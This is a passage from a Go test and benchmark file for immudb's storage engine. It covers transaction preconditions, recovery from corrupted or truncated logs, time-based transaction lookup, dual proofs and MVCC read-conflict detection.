la.Appendable.Append(bs) } func TestImmudbStoreCommitWithPreconditions(t *testing.T) { immuStore, err := Open(t.TempDir(), DefaultOptions().WithMaxConcurrency(1)) require.NoError(t, err) defer immustoreClose(t, immuStore) // set initial value otx, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = otx.Set([]byte("key1"), nil, []byte("value1")) require.NoError(t, err) hdr1, err := otx.Commit(context.Background()) require.NoError(t, err) // delete entry otx, err = immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = otx.Delete(context.Background(), []byte("key1")) require.NoError(t, err) _, err = otx.Commit(context.Background()) require.NoError(t, err) t.Run("must not exist constraint should pass when evaluated over a deleted key", func(t *testing.T) { otx, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = otx.Set([]byte("key2"), nil, []byte("value2")) require.NoError(t, err) err = otx.AddPrecondition(&PreconditionKeyMustNotExist{[]byte("key1")}) require.NoError(t, err) _, err = otx.Commit(context.Background()) require.NoError(t, err) }) t.Run("must exist constraint should pass when evaluated over an existent key", func(t *testing.T) { otx, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = otx.Set([]byte("key3"), nil, []byte("value3")) require.NoError(t, err) err = otx.AddPrecondition(&PreconditionKeyMustExist{[]byte("key2")}) require.NoError(t, err) _, err = otx.Commit(context.Background()) require.NoError(t, err) }) t.Run("must not be modified after constraint should not pass when key is deleted after specified tx", func(t *testing.T) { otx, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = otx.Set([]byte("key4"), nil, []byte("value4")) require.NoError(t, err) err = otx.AddPrecondition(&PreconditionKeyNotModifiedAfterTx{Key: []byte("key1"), TxID: hdr1.ID}) require.NoError(t, err) _, err = otx.Commit(context.Background()) require.ErrorIs(t, err, ErrPreconditionFailed) }) t.Run("must not be modified after constraint should pass when if key does not exist", func(t *testing.T) { otx, err = immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = otx.Set([]byte("key4"), nil, []byte("value4")) require.NoError(t, err) err = otx.AddPrecondition(&PreconditionKeyNotModifiedAfterTx{Key: []byte("nonExistentKey"), TxID: 1}) require.NoError(t, err) _, err = otx.Commit(context.Background()) require.NoError(t, err) }) // insert an expirable entry otx, err = immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) md := NewKVMetadata() err = md.ExpiresAt(time.Now().Add(1 * time.Second)) require.NoError(t, err) err = otx.Set([]byte("expirableKey"), md, []byte("expirableValue")) require.NoError(t, err) hdr, err := otx.Commit(context.Background()) require.NoError(t, err) // wait for entry to be expired for i := 0; ; i++ { require.Less(t, i, 20, "entry expiration failed") time.Sleep(100 * time.Millisecond) _, err = immuStore.Get(context.Background(), []byte("expirableKey")) if err != nil && errors.Is(err, ErrKeyNotFound) { break } require.NoError(t, err) } t.Run("must not be modified after constraint should not pass when if expired and expiration was set after specified tx", func(t *testing.T) { otx, err = immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = otx.Set([]byte("key5"), nil, []byte("value5")) require.NoError(t, err) err = otx.AddPrecondition(&PreconditionKeyNotModifiedAfterTx{Key: []byte("expirableKey"), TxID: hdr.ID - 1}) require.NoError(t, err) _, err = otx.Commit(context.Background()) require.ErrorIs(t, err, ErrPreconditionFailed) }) t.Run("must not exist constraint should pass when if expired", func(t *testing.T) { otx, err = immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = otx.Set([]byte("key5"), nil, []byte("value5")) require.NoError(t, err) err = otx.AddPrecondition(&PreconditionKeyMustNotExist{Key: []byte("expirableKey")}) require.NoError(t, err) _, err = otx.Commit(context.Background()) require.NoError(t, err) }) t.Run("must exist constraint should not pass when if expired", func(t *testing.T) { otx, err = immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = otx.Set([]byte("key5"), nil, []byte("value5")) require.NoError(t, err) err = otx.AddPrecondition(&PreconditionKeyMustExist{Key: []byte("expirableKey")}) require.NoError(t, err) _, err = otx.Commit(context.Background()) require.ErrorIs(t, err, ErrPreconditionFailed) }) } func BenchmarkSyncedAppend(b *testing.B) { opts := DefaultOptions(). WithMaxConcurrency(100). WithSynced(true). WithAHTOptions(DefaultAHTOptions().WithSyncThld(1_000)). WithSyncFrequency(20 * time.Millisecond). WithMaxActiveTransactions(100) immuStore, _ := Open(b.TempDir(), opts) b.ResetTimer() for i := 0; i < b.N; i++ { workerCount := 100 var wg sync.WaitGroup wg.Add(workerCount) for w := 0; w < workerCount; w++ { go func() { txCount := 100 eCount := 1 committed := 0 for committed < txCount { tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(b, err) for j := 0; j < eCount; j++ { k := make([]byte, 8) binary.BigEndian.PutUint64(k, uint64(i<<4+j)) v := make([]byte, 8) binary.BigEndian.PutUint64(v, uint64(i<<4+(eCount-j))) err = tx.Set(k, nil, v) require.NoError(b, err) } _, err = tx.AsyncCommit(context.Background()) if err == ErrMaxConcurrencyLimitExceeded || err == ErrMaxActiveTransactionsLimitExceeded { time.Sleep(1 * time.Nanosecond) continue } require.NoError(b, err) committed++ } wg.Done() }() } wg.Wait() } } func BenchmarkAsyncAppend(b *testing.B) { opts := DefaultOptions(). WithSynced(false). WithMaxConcurrency(1). WithMaxActiveTransactions(100) immuStore, _ := Open(b.TempDir(), opts) for i := 0; i < b.N; i++ { txCount := 1000 eCount := 1000 for i := 0; i < txCount; i++ { tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(b, err) for j := 0; j < eCount; j++ { k := make([]byte, 8) binary.BigEndian.PutUint64(k, uint64(i<<4+j)) v := make([]byte, 8) binary.BigEndian.PutUint64(v, uint64(i<<4+(eCount-j))) err = tx.Set(k, nil, v) require.NoError(b, err) } _, err = tx.Commit(context.Background()) require.NoError(b, err) } } } func BenchmarkSyncedAppendWithExtCommitAllowance(b *testing.B) { opts := DefaultOptions(). WithMaxConcurrency(100). WithSynced(true). WithAHTOptions(DefaultAHTOptions().WithSyncThld(1_000)). WithSyncFrequency(20 * time.Millisecond). WithMaxActiveTransactions(1000). WithExternalCommitAllowance(true) immuStore, _ := Open(b.TempDir(), opts) go func() { for { err := immuStore.AllowCommitUpto(immuStore.LastPrecommittedTxID()) if err == ErrAlreadyClosed { return } require.NoError(b, err) time.Sleep(time.Duration(5) * time.Millisecond) } }() b.ResetTimer() for i := 0; i < b.N; i++ { workerCount := 100 var wg sync.WaitGroup wg.Add(workerCount) for w := 0; w < workerCount; w++ { go func() { txCount := 10 eCount := 1 committed := 0 for committed < txCount { tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(b, err) for j := 0; j < eCount; j++ { k := make([]byte, 8) binary.BigEndian.PutUint64(k, uint64(i<<4+j)) v := make([]byte, 8) binary.BigEndian.PutUint64(v, uint64(i<<4+(eCount-j))) err = tx.Set(k, nil, v) require.NoError(b, err) } _, err = tx.AsyncCommit(context.Background()) if err == ErrMaxConcurrencyLimitExceeded || err == ErrMaxActiveTransactionsLimitExceeded { time.Sleep(1 * time.Nanosecond) continue } require.NoError(b, err) committed++ } wg.Done() }() } wg.Wait() } } func BenchmarkAsyncAppendWithExtCommitAllowance(b *testing.B) { opts := DefaultOptions(). WithSynced(false). WithMaxConcurrency(1). WithMaxActiveTransactions(1000). WithExternalCommitAllowance(true) immuStore, _ := Open(b.TempDir(), opts) go func() { for { err := immuStore.AllowCommitUpto(immuStore.LastPrecommittedTxID()) if err == ErrAlreadyClosed { return } require.NoError(b, err) time.Sleep(time.Duration(5) * time.Millisecond) } }() for i := 0; i < b.N; i++ { txCount := 1000 eCount := 1000 for i := 0; i < txCount; i++ { tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(b, err) for j := 0; j < eCount; j++ { k := make([]byte, 8) binary.BigEndian.PutUint64(k, uint64(i<<4+j)) v := make([]byte, 8) binary.BigEndian.PutUint64(v, uint64(i<<4+(eCount-j))) err = tx.Set(k, nil, v) require.NoError(b, err) } _, err = tx.Commit(context.Background()) require.NoError(b, err) } } } func BenchmarkExportTx(b *testing.B) { opts := DefaultOptions().WithSynced(false) immuStore, _ := Open(b.TempDir(), opts) txCount := 1_000 eCount := 1_000 keyLen := 40 valLen := 256 for i := 0; i < txCount; i++ { tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(b, err) for j := 0; j < eCount; j++ { k := make([]byte, keyLen) binary.BigEndian.PutUint64(k, uint64(i*eCount+j)) v := make([]byte, valLen) binary.BigEndian.PutUint64(v, uint64(j)) err = tx.Set(k, nil, v) require.NoError(b, err) } _, err = tx.Commit(context.Background()) require.NoError(b, err) } tx, err := immuStore.fetchAllocTx() require.NoError(b, err) defer immuStore.releaseAllocTx(tx) b.ResetTimer() for i := 0; i < b.N; i++ { for i := 0; i < txCount; i++ { _, err := immuStore.ExportTx(uint64(i+1), false, false, tx) require.NoError(b, err) } } } func TestImmudbStoreIncompleteCommitWrite(t *testing.T) { dir := t.TempDir() opts := DefaultOptions(). WithEmbeddedValues(false). WithPreallocFiles(false) immuStore, err := Open(dir, opts) require.NoError(t, err) tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) err = tx.Set([]byte("key1"), nil, []byte("val1")) require.NoError(t, err) hdr, err := tx.Commit(context.Background()) require.NoError(t, err) err = immuStore.Close() require.NoError(t, err) // Append garbage at the end of files, immudb must be able to recover // as long as the full commit log entry is not created append := func(path string, bytes int) { fl, err := os.OpenFile(filepath.Join(dir, path), os.O_APPEND|os.O_WRONLY, 0644) require.NoError(t, err) defer fl.Close() buff := make([]byte, bytes) _, err = rand.Read(buff) require.NoError(t, err) _, err = fl.Write(buff) require.NoError(t, err) err = fl.Sync() require.NoError(t, err) } append("commit/00000000.txi", 11) // Commit log entry is 12 bytes, must add less than that append("tx/00000000.tx", 100) append("val_0/00000000.val", 100) // Force reindexing and rebuilding the aht tree err = os.RemoveAll(filepath.Join(dir, "aht")) require.NoError(t, err) immuStore, err = Open(dir, opts) require.NoError(t, err) valRef, err := immuStore.Get(context.Background(), []byte("key1")) require.NoError(t, err) require.Equal(t, hdr.ID, valRef.Tx()) value, err := valRef.Resolve() require.NoError(t, err) require.EqualValues(t, []byte("val1"), value) err = immuStore.Close() require.NoError(t, err) } func TestImmudbStoreTruncatedCommitLog(t *testing.T) { dir := t.TempDir() opts := DefaultOptions(). WithEmbeddedValues(false). WithPreallocFiles(false) immuStore, err := Open(dir, opts) require.NoError(t, err) tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) err = tx.Set([]byte("key1"), nil, []byte("val1")) require.NoError(t, err) hdr1, err := tx.Commit(context.Background()) require.NoError(t, err) require.NotNil(t, hdr1) tx, err = immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) err = tx.Set([]byte("key1"), nil, []byte("val2")) require.NoError(t, err) hdr2, err := tx.Commit(context.Background()) require.NoError(t, err) require.NotNil(t, hdr2) require.NotEqual(t, hdr1.ID, hdr2.ID) err = immuStore.Close() require.NoError(t, err) // Truncate the commit and tx logs - it must discard the last transaction but other than // that the immudb should work correctly // Note: This may change once the truthly appendable interface is implemented // (https://github.com/codenotary/immudb/issues/858) cLogFile := filepath.Join(dir, "commit/00000000.txi") stat, err := os.Stat(cLogFile) require.NoError(t, err) err = os.Truncate(cLogFile, stat.Size()-1) require.NoError(t, err) txLogFile := filepath.Join(dir, "tx/00000000.tx") stat, err = os.Stat(txLogFile) require.NoError(t, err) err = os.Truncate(txLogFile, stat.Size()-1) require.NoError(t, err) // Remove the index, it does not support truncation of commits now err = os.RemoveAll(filepath.Join(dir, "index")) require.NoError(t, err) immuStore, err = Open(dir, opts) require.NoError(t, err) err = immuStore.WaitForIndexingUpto(context.Background(), hdr1.ID) require.NoError(t, err) valRef, err := immuStore.Get(context.Background(), []byte("key1")) require.NoError(t, err) require.Equal(t, hdr1.ID, valRef.Tx()) value, err := valRef.Resolve() require.NoError(t, err) require.EqualValues(t, []byte("val1"), value) // ensure we can correctly write more data into the store tx, err = immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) err = tx.Set([]byte("key1"), nil, []byte("val2")) require.NoError(t, err) _, err = tx.Commit(context.Background()) require.NoError(t, err) valRef, err = immuStore.Get(context.Background(), []byte("key1")) require.NoError(t, err) require.Equal(t, hdr2.ID, valRef.Tx()) value, err = valRef.Resolve() require.NoError(t, err) require.EqualValues(t, []byte("val2"), value) // test after reopening the store err = immuStore.Close() require.NoError(t, err) immuStore, err = Open(dir, opts) require.NoError(t, err) valRef, err = immuStore.Get(context.Background(), []byte("key1")) require.NoError(t, err) require.Equal(t, hdr2.ID, valRef.Tx()) value, err = valRef.Resolve() require.NoError(t, err) require.EqualValues(t, []byte("val2"), value) err = immuStore.Close() require.NoError(t, err) } func TestImmudbPreconditionIndexing(t *testing.T) { immuStore, err := Open(t.TempDir(), DefaultOptions()) require.NoError(t, err) t.Run("commit", func(t *testing.T) { indexer, err := immuStore.getIndexerFor(nil) require.NoError(t, err) // First add some entries that are not indexed indexer.Pause() for i := 1; i < 100; i++ { tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) err = tx.Set([]byte(fmt.Sprintf("key_%d", i)), nil, []byte(fmt.Sprintf("value_%d", i))) require.NoError(t, err) _, err = tx.AsyncCommit(context.Background()) require.NoError(t, err) } // Next prepare transaction with preconditions - this must wait for the indexer tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) err = tx.Set([]byte("key"), nil, []byte("value")) require.NoError(t, err) err = tx.AddPrecondition(&PreconditionKeyMustExist{ Key: []byte("key_99"), }) require.NoError(t, err) err = tx.AddPrecondition(&PreconditionKeyMustNotExist{ Key: []byte("key_100"), }) require.NoError(t, err) go func() { time.Sleep(100 * time.Millisecond) indexer.Resume() }() _, err = tx.Commit(context.Background()) require.NoError(t, err) }) t.Run("commitWith", func(t *testing.T) { indexer, err := immuStore.getIndexerFor(nil) require.NoError(t, err) // First add some entries that are not indexed indexer.Pause() for i := 1; i < 100; i++ { tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) err = tx.Set([]byte(fmt.Sprintf("key2_%d", i)), nil, []byte(fmt.Sprintf("value2_%d", i))) require.NoError(t, err) _, err = tx.AsyncCommit(context.Background()) require.NoError(t, err) } go func() { time.Sleep(100 * time.Millisecond) indexer.Resume() }() // Next prepare transaction with preconditions - this must wait for the indexer _, err = immuStore.CommitWith(context.Background(), func(txID uint64, index KeyIndex) ([]*EntrySpec, []Precondition, error) { return []*EntrySpec{{ Key: []byte("key2"), Value: []byte("value2"), }}, []Precondition{ &PreconditionKeyMustExist{ Key: []byte("key2_99"), }, &PreconditionKeyMustNotExist{ Key: []byte("key2_100"), }, }, nil }, false) require.NoError(t, err) }) } func TestTimeBasedTxLookup(t *testing.T) { immuStore, err := Open(t.TempDir(), DefaultOptions()) require.NoError(t, err) start := time.Now() time.Sleep(1 * time.Second) _, err = immuStore.FirstTxSince(start) require.ErrorIs(t, err, ErrTxNotFound) _, err = immuStore.LastTxUntil(start) require.ErrorIs(t, err, ErrTxNotFound) var txts []int64 const txCount = 100 for i := 0; i < txCount; i++ { tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) err = tx.Set([]byte("key1"), nil, []byte("val1")) require.NoError(t, err) hdr, err := tx.Commit(context.Background()) require.NoError(t, err) require.NotNil(t, hdr) txts = append(txts, hdr.Ts) time.Sleep(time.Duration(rand.Intn(100)) * time.Millisecond) } t.Run("no tx should be returned when requesting a tx since a future time", func(t *testing.T) { _, err = immuStore.FirstTxSince(time.Now().Add(1 * time.Second)) require.ErrorIs(t, err, ErrTxNotFound) }) t.Run("the last tx should be returned when requesting a tx until a future time", func(t *testing.T) { hdr, err := immuStore.LastTxUntil(time.Now().Add(1 * time.Second)) require.NoError(t, err) require.Equal(t, uint64(txCount), hdr.ID) }) t.Run("the first tx should be returned when requesting from a past time", func(t *testing.T) { hdr, err := immuStore.FirstTxSince(start) require.NoError(t, err) require.Equal(t, uint64(1), hdr.ID) }) t.Run("no tx should be returned when requesting a tx until a past time", func(t *testing.T) { _, err = immuStore.LastTxUntil(start) require.ErrorIs(t, err, ErrTxNotFound) }) for i, ts := range txts { hdr, err := immuStore.FirstTxSince(time.Unix(ts, 0)) require.NoError(t, err) require.LessOrEqual(t, ts, hdr.Ts) require.GreaterOrEqual(t, uint64(i+1), hdr.ID) if hdr.ID > 1 { require.Less(t, txts[hdr.ID-2], ts) } _, err = immuStore.LastTxUntil(time.Unix(ts, 0)) require.NoError(t, err) require.GreaterOrEqual(t, ts, hdr.Ts) if int(hdr.ID) < len(txts) { require.GreaterOrEqual(t, txts[hdr.ID], ts) } } } func TestBlTXOrdering(t *testing.T) { opts := DefaultOptions().WithMaxConcurrency(200) immuStore, err := Open(t.TempDir(), opts) require.NoError(t, err) defer immustoreClose(t, immuStore) t.Run("run multiple simultaneous writes", func(t *testing.T) { wg := sync.WaitGroup{} done := make(chan struct{}) for i := 0; i < opts.MaxConcurrency; i++ { wg.Add(1) go func(i int) { defer wg.Done() for { select { case <-done: return default: } tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) tx.Set([]byte(fmt.Sprintf("key:%d", i)), nil, []byte("value")) _, err = tx.Commit(context.Background()) require.NoError(t, err) } }(i) } // Perform writes for larger time so that transactions will have different // timestamps time.Sleep(2 * time.Second) close(done) wg.Wait() if t.Failed() { t.FailNow() } }) t.Run("verify dual proofs for sequences of transactions", func(t *testing.T) { maxTxID, _ := immuStore.CommittedAlh() for i := uint64(1); i < maxTxID; i++ { srcTxHeader, err := immuStore.ReadTxHeader(i, false, false) require.NoError(t, err) dstTxHeader, err := immuStore.ReadTxHeader(i+1, false, false) require.NoError(t, err) require.LessOrEqual(t, srcTxHeader.BlTxID, dstTxHeader.BlTxID) require.LessOrEqual(t, srcTxHeader.Ts, dstTxHeader.Ts) proof, err := immuStore.DualProof(srcTxHeader, dstTxHeader) require.NoError(t, err) verifies := VerifyDualProof(proof, i, i+1, srcTxHeader.Alh(), dstTxHeader.Alh()) require.True(t, verifies) dproofV2, err := immuStore.DualProofV2(srcTxHeader, dstTxHeader) require.NoError(t, err) verifiesV2 := VerifyDualProofV2(dproofV2, i, i+1, srcTxHeader.Alh(), dstTxHeader.Alh()) require.NoError(t, verifiesV2) } }) } func TestImmudbStoreExternalCommitAllowance(t *testing.T) { opts := DefaultOptions(). WithSynced(false). WithExternalCommitAllowance(true) immuStore, err := Open(t.TempDir(), opts) require.NoError(t, err) defer immustoreClose(t, immuStore) txCount := 10 eCount := 10 var wg sync.WaitGroup wg.Add(txCount) for i := 0; i < txCount; i++ { go func() { defer wg.Done() tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for i := 0; i < eCount; i++ { k := make([]byte, 8) binary.BigEndian.PutUint64(k, uint64(i)) v := make([]byte, 8) binary.BigEndian.PutUint64(v, uint64(i)) err = tx.Set(k, nil, v) require.NoError(t, err) } _, err = tx.Commit(context.Background()) require.NoError(t, err) }() } err = immuStore.WaitForTx(context.Background(), uint64(txCount), true) require.NoError(t, err) go func() { for i := 0; i < txCount; i++ { require.Less(t, immuStore.LastCommittedTxID(), uint64(i+1)) err = immuStore.AllowCommitUpto(uint64(i + 1)) require.NoError(t, err) time.Sleep(time.Duration(10) * time.Millisecond) } }() wg.Wait() require.Equal(t, uint64(txCount), immuStore.LastCommittedTxID()) } func TestImmudbStorePrecommittedTxLoading(t *testing.T) { dir := t.TempDir() opts := DefaultOptions(). WithSynced(false). WithEmbeddedValues(false). WithExternalCommitAllowance(true) immuStore, err := Open(dir, opts) require.NoError(t, err) txCount := 10 eCount := 10 var wg sync.WaitGroup wg.Add(txCount) for i := 0; i < txCount; i++ { go func() { defer wg.Done() tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for i := 0; i < eCount; i++ { k := make([]byte, 8) binary.BigEndian.PutUint64(k, uint64(i)) v := make([]byte, 8) binary.BigEndian.PutUint64(v, uint64(i)) err = tx.Set(k, nil, v) require.NoError(t, err) } _, err = tx.Commit(context.Background()) require.ErrorIs(t, err, ErrAlreadyClosed) }() } err = immuStore.WaitForTx(context.Background(), uint64(txCount), true) require.NoError(t, err) err = immuStore.Close() require.NoError(t, err) immuStore, err = Open(dir, opts) require.NoError(t, err) err = immuStore.AllowCommitUpto(uint64(txCount)) require.NoError(t, err) err = immuStore.WaitForTx(context.Background(), uint64(txCount), false) require.NoError(t, err) err = immuStore.Close() require.NoError(t, err) wg.Wait() } func TestImmudbStorePrecommittedTxDiscarding(t *testing.T) { dir := t.TempDir() opts := DefaultOptions(). WithSynced(false). WithEmbeddedValues(false). WithExternalCommitAllowance(true) immuStore, err := Open(dir, opts) require.NoError(t, err) txCount := 10 eCount := 10 var wg sync.WaitGroup wg.Add(txCount) for i := 0; i < txCount; i++ { go func() { tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for i := 0; i < eCount; i++ { k := make([]byte, 8) binary.BigEndian.PutUint64(k, uint64(i)) v := make([]byte, 8) binary.BigEndian.PutUint64(v, uint64(i)) err = tx.Set(k, nil, v) require.NoError(t, err) } wg.Done() _, err = tx.Commit(context.Background()) require.ErrorIs(t, err, ErrAlreadyClosed) }() } err = immuStore.WaitForTx(context.Background(), uint64(txCount), true) require.NoError(t, err) err = immuStore.Close() require.NoError(t, err) immuStore, err = Open(dir, opts) require.NoError(t, err) n, err := immuStore.DiscardPrecommittedTxsSince(0) require.ErrorIs(t, err, ErrIllegalArguments) require.Zero(t, n) err = immuStore.AllowCommitUpto(uint64(txCount / 2)) require.NoError(t, err) n, err = immuStore.DiscardPrecommittedTxsSince(1) require.ErrorIs(t, err, ErrIllegalArguments) require.Zero(t, n) err = immuStore.WaitForTx(context.Background(), uint64(txCount/2), false) require.NoError(t, err) // discard all expect one precommitted tx n, err = immuStore.DiscardPrecommittedTxsSince(uint64(txCount/2 + 2)) require.NoError(t, err) require.Equal(t, txCount/2-1, n) require.Equal(t, uint64(txCount/2+1), immuStore.LastPrecommittedTxID()) // discard latest precommitted one n, err = immuStore.DiscardPrecommittedTxsSince(uint64(txCount/2 + 1)) require.NoError(t, err) require.Equal(t, 1, n) require.Equal(t, uint64(txCount/2), immuStore.LastPrecommittedTxID()) err = immuStore.Close() require.NoError(t, err) wg.Wait() } func TestImmudbStoreMVCC(t *testing.T) { immuStore, err := Open(t.TempDir(), DefaultOptions()) require.NoError(t, err) defer immustoreClose(t, immuStore) t.Run("no read conflict should be detected when read keys are not updated by another transaction", func(t *testing.T) { tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1")) require.NoError(t, err) _, err = tx1.Commit(context.Background()) require.NoError(t, err) _, err = tx2.Get(context.Background(), []byte("key2")) require.ErrorIs(t, err, ErrKeyNotFound) err = tx2.Set([]byte("key2"), nil, []byte("value2")) require.NoError(t, err) _, err = tx2.Commit(context.Background()) require.NoError(t, err) }) t.Run("read conflict should be detected even when the key was updated by another transaction if its value was not read", func(t *testing.T) { tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1")) require.NoError(t, err) _, err = tx1.Commit(context.Background()) require.NoError(t, err) err = tx2.Set([]byte("key1"), nil, []byte("value2")) require.NoError(t, err) _, err = tx2.Commit(context.Background()) require.NoError(t, err) }) t.Run("read conflict should be detected when read key was updated by another transaction", func(t *testing.T) { tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key3"), nil, []byte("value")) require.NoError(t, err) _, err = tx2.Get(context.Background(), []byte("key3")) require.ErrorIs(t, err, ErrKeyNotFound) _, err = tx1.Commit(context.Background()) require.NoError(t, err) err = tx2.Set([]byte("key3"), nil, []byte("value")) require.NoError(t, err) _, err = tx2.Commit(context.Background()) require.ErrorIs(t, err, ErrTxReadConflict) }) t.Run("read conflict should be detected when read key was deleted by another transaction", func(t *testing.T) { tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key4"), nil, []byte("value")) require.NoError(t, err) _, err = tx1.Commit(context.Background()) require.NoError(t, err) tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) tx3, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx2.Delete(context.Background(), []byte("key4")) require.NoError(t, err) _, err = tx3.Get(context.Background(), []byte("key4")) require.NoError(t, err) _, err = tx2.Commit(context.Background()) require.NoError(t, err) err = tx3.Set([]byte("key4"), nil, []byte("value4")) require.NoError(t, err) _, err = tx3.Commit(context.Background()) require.ErrorIs(t, err, ErrTxReadConflict) }) t.Run("no read conflict should be detected when read keys are not updated by another transaction", func(t *testing.T) { tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1")) require.NoError(t, err) _, err = tx1.Commit(context.Background()) require.NoError(t, err) key, _, err := tx2.GetWithPrefix(context.Background(), []byte("key2"), nil) require.NoError(t, err) require.Equal(t, []byte("key2"), key) err = tx2.Set([]byte("key2"), nil, []byte("value2")) require.NoError(t, err) _, err = tx2.Commit(context.Background()) require.NoError(t, err) }) t.Run("read conflict should be detected when read key was updated by another transaction", func(t *testing.T) { tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1")) require.NoError(t, err) key, _, err := tx2.GetWithPrefix(context.Background(), []byte("key"), nil) require.NoError(t, err) require.Equal(t, []byte("key1"), key) err = tx2.Set([]byte("key2"), nil, []byte("value2")) require.NoError(t, err) _, err = tx1.Commit(context.Background()) require.NoError(t, err) _, err = tx2.Commit(context.Background()) require.ErrorIs(t, err, ErrTxReadConflict) }) t.Run("read conflict should be detected when read key was deleted by another transaction", func(t *testing.T) { tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx1.Delete(context.Background(), []byte("key1")) require.NoError(t, err) _, _, err = tx2.GetWithPrefix(context.Background(), []byte("key"), nil) require.NoError(t, err) require.Equal(t, []byte("key1"), []byte("key1")) err = tx2.Set([]byte("key2"), nil, []byte("value2")) require.NoError(t, err) _, err = tx1.Commit(context.Background()) require.NoError(t, err) _, err = tx2.Commit(context.Background()) require.ErrorIs(t, err, ErrTxReadConflict) }) t.Run("read conflict should be detected when read keys have been updated by another transaction", func(t *testing.T) { tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1")) require.NoError(t, err) _, err = tx1.Commit(context.Background()) require.NoError(t, err) tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) tx3, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx2.Set([]byte("key2"), nil, []byte("value2")) require.NoError(t, err) err = tx2.Set([]byte("key3"), nil, []byte("value3")) require.NoError(t, err) err = tx2.Set([]byte("key4"), nil, []byte("value4")) require.NoError(t, err) err = tx3.Set([]byte("key2"), nil, []byte("value2_2")) require.NoError(t, err) err = tx3.Set([]byte("key3"), nil, []byte("value3_2")) require.NoError(t, err) r, err := tx3.NewKeyReader(KeyReaderSpec{ Prefix: []byte("key"), }) require.NoError(t, err) for i := 1; i <= 4; i++ { for j := 1; j <= i; j++ { _, _, err = r.Read(context.Background()) if errors.Is(err, ErrNoMoreEntries) { break } } err = r.Reset() require.NoError(t, err) } err = r.Close() require.NoError(t, err) _, err = tx2.Commit(context.Background()) require.NoError(t, err) _, err = tx3.Commit(context.Background()) require.ErrorIs(t, err, ErrTxReadConflict) }) t.Run("no read conflict should be detected when read keys have been updated by the ongoing transaction", func(t *testing.T) { tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1")) require.NoError(t, err) _, err = tx1.Commit(context.Background()) require.NoError(t, err) tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) tx3, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx2.Set([]byte("key2"), nil, []byte("value2")) require.NoError(t, err) err = tx2.Set([]byte("key3"), nil, []byte("value3")) require.NoError(t, err) _, err = tx2.Commit(context.Background()) require.NoError(t, err) err = tx3.Set([]byte("key2"), nil, []byte("value2_2")) require.NoError(t, err) err = tx3.Set([]byte("key3"), nil, []byte("value3_2")) require.NoError(t, err) r, err := tx3.NewKeyReader(KeyReaderSpec{ Prefix: []byte("key"), }) require.NoError(t, err) for i := 1; i <= 3; i++ { for j := 1; j <= i; j++ { _, _, err = r.Read(context.Background()) if errors.Is(err, ErrNoMoreEntries) { break } } err = r.Reset() require.NoError(t, err) } err = r.Close() require.NoError(t, err) _, err = tx3.Commit(context.Background()) require.NoError(t, err) }) t.Run("read conflict should be detected when reading more entries than expected", func(t *testing.T) { tx1, 